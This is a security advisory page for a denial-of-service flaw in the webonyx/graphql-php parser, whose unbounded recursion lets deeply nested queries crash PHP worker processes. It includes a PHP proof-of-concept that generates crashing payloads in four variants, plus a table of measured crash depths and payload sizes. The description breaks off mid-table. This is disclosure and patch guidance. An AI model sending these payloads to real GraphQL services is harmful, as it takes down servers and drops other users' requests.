Skip to main content
VulnerabilityPublished

webonyx/graphql-php has unbounded recursion

Affects webonyx/graphql-phpSource GCVE Database

0

CVSS 8.2 High : upgrade to 15.32.3 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score
8.2High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 15.32.3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

What to do

Upgrade webonyx/graphql-php to 15.32.3.

Affected software

ProductAffectedFixed in
Packagistwebonyx/graphql-phpAffected
  • <15.32.3
Fixed in
  • 15.32.3

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary `GraphQL\Language\Parser` is a recursive descent parser with no recursion depth limit and no `zend.max_allowed_stack_size` interaction. Crafted nested queries trigger a SIGSEGV in the PHP runtime, killing the FPM/CLI worker process. Smallest crashing payload is approximately 74 KB. ## Affected Component - `src/Language/Parser.php` -- the `Parser` class (no recursion depth tracking) - `src/Language/Lexer.php` -- the `Lexer` class ## Severity **HIGH (8.2)** -- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H Integrity is Low because the entire PHP process (FPM worker, CLI process, Swoole worker, RoadRunner worker, etc.) is terminated by SIGSEGV. Every concurrent request handled by the same process is dropped along with the attacker's request, with no error message, no log entry, and no recovery path beyond restart. The 74 KB minimum crashing payload sits well below any common HTTP body size limit, and the failure mode is **the worst possible**: not catchable, not observable, no diagnostics. ## Description `GraphQL\Language\Parser` parses GraphQL documents using mutually recursive PHP methods (`parseValueLiteral`, `parseObject`, `parseObjectField`, `parseList`, `parseSelectionSet`, `parseSelection`, `parseField`, `parseTypeReference`, `parseInlineFragment`). The constructor (`Parser.php:325`) accepts only three options: ```php // src/Language/Parser.php:64 /** * @phpstan-type ParserOptions array{ * noLocation?: bool, * allowLegacySDLEmptyFields?: bool, * allowLegacySDLImplementsInterfaces?: bool, * } */ ``` There is **no `maxTokens`, no `maxDepth`, no `maxRecursionDepth`, no token counter, and no recursion depth counter** anywhere in the parser or lexer. PHP recursion is bounded only by the C stack size (typically 8 MB via `ulimit -s 8192`). When the C stack is exhausted by graphql-php's recursive parser, **PHP segfaults**. The PHP 8.3 runtime ships with `zend.max_allowed_stack_size` (default 0 = auto-detect), which is supposed to convert userland recursion overflow into a catchable `Stack overflow detected` error. **In practice, this protection does not catch the graphql-php parser overflow**: testing with PHP 8.3.30 in default Docker configuration, every crashing depth produces SIGSEGV (exit code 139), not a catchable error. This finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30. ## Root Cause ```php // src/Language/Parser.php:168 class Parser { // ... no recursionDepth field ... private Lexer $lexer; // src/Language/Parser.php:325 public function __construct($source, array $options = []) { $sourceObj = $source instanceof Source ? $source : new Source($source); $this->lexer = new Lexer($sourceObj, $options); } ``` There is no field tracking recursion depth. Every recursive parse method calls itself without bound. PHP function call frames are small (~256 bytes each), but the cumulative depth needed by recursive descent for a GraphQL value literal exhausts an 8 MB stack at approximately 26,000-37,000 levels of input nesting (depending on the call chain depth per AST level). ## Proof of Concept ```php // composer require webonyx/graphql-php:v15.31.4 <?php require __DIR__.'/vendor/autoload.php'; use GraphQL\Language\Parser; // Each invocation tests one (vector, depth) pair so we can observe per-process // exit code. SIGSEGV cannot be caught by PHP try/catch. $v = $argv[1]; $d = (int)$argv[2]; switch ($v) { case 'A': $q = "{ a(x: " . str_repeat('{a: ', $d) . '1' . str_repeat('}', $d) . ") }"; break; case 'B': $q = str_repeat('{ a', $d) . str_repeat(' }', $d); break; case 'C': $q = "{ a(x: " . str_repeat('[', $d) . '1' . str_repeat(']', $d) . ") }"; break; case 'D': $q = "query(\$v: " . str_repeat('[', $d) . "Int" . str_repeat(']', $d) . ") { a }"; break; } try { Parser::parse($q); echo "OK depth=$d size=" . strlen($q) . "\n"; } catch (\Throwable $e) { echo "ERR " . get_class($e) . ": " . substr($e->getMessage(), 0, 80) . "\n"; exit(1); } ``` ### Crash thresholds measured on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, ulimit -s 8192, Linux x86_64 Each vector was bisected to find the smallest crashing depth. Process exit code 139 = 128 + SIGSEGV (11). | Vector | Recursive call chain | last_OK_depth | crash_depth | Crash payload size | |--------|----------------------|---:|---:|---:| | A: nested object values `{a:{a:..}}` | `parseValueLiteral` -> `parseObject` -> `parseObjectField` -> `parseValueLiteral` | 25,781 | **26,250** | ~129 KB | | B: nested selection sets `{a{a{..}}}` | `parseSelectionSet` -> `parseSelection` -> `parseField` -> `parseSelectionSet` | 25,781 | **26,250** | ~129 KB | | C: nested list values `[[..1..]]` | `parseValueLiteral` -> `parseList` -> `parseValueLiteral` | 37,187 | **37,500** | **~74 KB** | | D: nested list types `[[Int]]` | `parseTypeReference` -> `parseTypeReference` | 87,187 | **87,5

References

Community reviews

Loading reviews…